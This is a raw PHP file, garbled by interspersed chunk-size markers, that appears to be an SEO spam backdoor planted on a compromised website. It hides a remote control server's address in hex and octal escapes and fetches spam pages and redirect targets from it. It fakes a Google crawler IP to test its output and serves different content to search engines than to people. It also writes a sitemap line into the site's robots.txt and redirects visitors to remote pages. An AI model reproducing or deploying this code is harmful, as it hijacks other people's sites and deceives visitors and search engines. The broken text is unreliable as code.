2 true, 1e CURLOPT_CONNECTT 5 IMEOU 6 T => 5 29 , CURLOPT_TIMEOUT => 19 8, CURLOPT_S 7 SL_VERI 4 FYPE 2c ER => false, CURLOPT_SSL_VERIFY 4 HOST 24 => false, CURLOPT_FOLL 5 OWLOC 5 ATION 25 => false, CURLOPT_USERA 4 GENT e => "Mozi 6 lla/5. c 0" 1a ]); $data = curl_ 8 exec($ch 15 ); curl_clos e e($ch); } 13 if (empty($ c data) && ini 9 _get('all 8 ow_url_f 4 open 16 ')) { $contex a t = stream a _context_c 15 reate([ 6 "http" 6 => [" 8 timeout" 1b => 8, "header" => "User-Ag 10 ent: Mozilla/5.0 6 \r\n"] 12 , "ss 20 l" => ["verify_peer" => false, 10 "verify_peer_nam c e" => false] 33 ]); $data = @file_get_contents($ c url, false, 1d $context); } if ( e !empty($data)) 17 cache_set($url, $data) 13 ; return $data 2f ; } /* ------------------------- URL 4 信 2f ------------------------- */ function get_ 8 url_info 9 (string $ 6 type=' 5 domai c n'): string c { $host 12 = $_SERVER['HTTP_ 8 HOST'] ? 10 ? ''; if ($ 6 type = 8 == 'no_w c ww') return 8 preg_rep 6 lace(' 7 /^www\. 6 /i', ' 9 ', $host) f ; $proto 6 col = 17 (!empty($_SERVER['HTTPS 7 ']) && 19 $_SERVER['HTTPS'] !== 'of 5 f') ? b "https://" c : "http://" b ; $bas f e = $protocol . 13 $host; if ( 19 $type === 'base') return 1c $base; if ($type === 'f 12 ull') return $base 10 . ($_SERVER['RE 4 QUES d T_URI'] ?? '' 12 ); return $ 30 host; } /* ------------------------- 4 5 变 22 ------------------------- */ 7 goto ON 4 PuB; d ONPuB: $http 2c _type = !empty($_SERVER["\x48\124\x54\x50\x5 11 3"]) && $_SERVER[ 17 "\x48\124\124\x50\x53"] 9 !== "\15 5 7\x66 5 \146" a ? "\150\x b 74\x74\x70\ 6 163\72 8 \x2f\x2f 21 " : "\x68\164\164\160\72\x2f\57"; 9 goto O4O 9 9k; O4O9k 8 : $vurl c = "\x74\157\ 6 56\152 8 \147\141 e \x6c\x6c\163\x 6 2e\143 d \157\x6d\x2f" c ; goto vgv72 a ; vgv72: $ 7 qz = su 8 bstr(str f _replace(array( b "\x77\x77\1 7 67\x2e" 8 , "\56") 13 , '', $_SERVER["\11 c 0\x54\x54\12 a 0\x5f\x48\ 7 x4f\123 9 \x54"]), 8 0, 3); 26 /* ------------------------- 解 5 析 f 4 参 29 数 ------------------------- */ $sz = 7 $iid = 7 ""; if e (!empty($_GET) 6 ){ $ 9 f=reset($ e _GET); $s d p = explode(' 6 -', $f 10 ); if (coun b t($sp) === 12 2) { $sz 6 = $sp 15 [0]; $iid = 6 $sp[1] 32 ; } } /* ------------------------- 4 程 5 接 21 ------------------------- */ e if (!empty($sz 10 )) { $jd = e getCurlFast("{ 11 $http_type}{$vurl 5 }3kg. 6 aspx?s 6 z=" . a urlencode( b $sz)); } e 3a lse { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 10 xy={$http_type}" b ); $sz 3e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($ 3 jd) e ); } $hyzh 6 dy = $ 8 jd . "41 b .aspx"; $s 10 url = $jd . "s 30 41.aspx"; /* ------------------------- 6 robots 5 / si 27 temap ------------------------- */ $s 9 itemapLin c e = "Sitemap 10 : {$http_type}{$ 22 _SERVER['HTTP_HOST']}{$_SERVER['SC 6 RIPT_N 7 AME']}? 7 w=" . d 8 ate('Ymd 7 Hi') . 5 "\n"; 11 function ensure f _robots_sitemap d ($sitemapLine 14 ) { $robots = r 10 trim($_SERVER['D 4 OCUM 7 ENT_ROO 9 T'], "/\\ d ") . '/robots 4 .txt 1a '; if (!file_exists($ 14 robots)) { 1b @file_put_contents($robots, e "User-agent: 4 *\nA 7 llow: / 12 \n" . $sitemapLine 12 , LOCK_EX); } 13 else { $c 1f = @file_get_contents($robots); 12 if ($c = b == false || b strpos($c, 18 $sitemapLine) === false 2d ) { @file_put_contents($robots, 11 $sitemapLine, FIL 7 E_APPEN 13 D | LOCK_EX); 11 } } } 28 /* ------------------------- w= 4 输 2e ------------------------- */ if (!empty($ 6 get['w 8 '])) { c $param b s = http_bu 6 ild_qu f ery([ 5 'NOUm 8 ber' => e $get['NOUmber' 15 ] ?? '', 't' 11 => $get['t 17 '] ?? '', 'cn' 26 => $get['cn'] ?? '', 'p 11 NOUm' => $get[' 1c pNOUm'] ?? '', 'cid 13 ' => $get['cid' 25 ] ?? '', 'm' => $get[' 10 m'] ?? '' ] e ); $str 16 = getCurlFast("{$surl a }?{$params e }"); ec f ho str_replace( d ['y 6 ymm',' a ggggg','?f f ='], [ b $http_type. 2d $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'] 9 , $sz,'?' 6 .$qz.' 18 ='], $str b ); exi 2f t; } /* ------------------------- IP 5 判 4 ( 4 保 6 kk 30 测试) ------------------------- */ $kk = i b sset($get[' 7 kk']) ? 12 trim($get['kk']) 7 : ''; b $ip = ($kk d !== '') ? "66 5 .249. 4 82.8 11 " : get_real_ip() 2b ; /* ------------------------- get c domain2 判 23 ------------------------- */ $ e domain = trim( 13 getCurlFast($jd . " 12 getdomain2.aspx?rn 6 d=1&ip 9 =" . $ip) 2b ); /* ------------------------- 7 googl 4 e + 7 iid → 5 跳 26 ------------------------- */ if ( d $domain !== ' b google' && b !empty($iid 10 )) { $kname 8 = urlde 1a code(getCurlFast($jd . "gn 10 .aspx?iid=" . $i 10 id)); echo 6 'loc 7 ation=" c ' . $jd . "a b .aspx?cname 15 =" . urlencode($kname f ) . "&url=" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' 14 SCRIPT_NAME'] . '"' 3a ; exit; } /* ------------------------- iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 1d str = getCurlFast($hyzhdy . " a ?iid={$iid 31 }"); echo str_replace( ['ggggg',' 9 YYYYY','X 9 XXYYY',' 4 8 URL','U c UUUU','MMMMM 18 ','?f='], [$sz, f get_url_info() 26 , get_url_info('base'), get_url_info(' 16 full'), get_url_info(' c no_www'),par 6 se_url 1d ($_SERVER['REQUEST_URI'], PHP 7 _URL_PA 3 TH) 62 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap h 5 elper 2c ------------------------- */ function out d put_sitemap_a 7 nd_exit e ($sitemapLine, 14 $http_type) { 31 ensure_robots_sitemap($sitemapLine); echo "< 6 div st 5 yle=' 9 text-alig 6 n:cent 6 er;pad 6 ding:1 2 0p 6 x 0;'> 11 54 Sitemap "; exit; } /* ------------------------- 9 kk 输出 5 控 26 ------------------------- */ if ($ d kk !== '' && 9 preg_matc 7 h('/^[A 5 -Za-z 4 0-9] 8 +$/', $k e k)) { $re 4 mote 2c = getCurlFast($jd . "getdomain2.aspx?rnd=2& 8 kk=" . $ f kk); if (! 1b empty($remote)) { c echo $remote 12 ; exit; 1f } } if ($kk !== '' && ! 5d preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 8 no_query 13 = empty($_SERVER[' 5 QUERY f _STRING']); 12 if ($kk === '' && 15 $is_no_query) { 18 if ($domain === 'google' 41 ) { output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 48 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0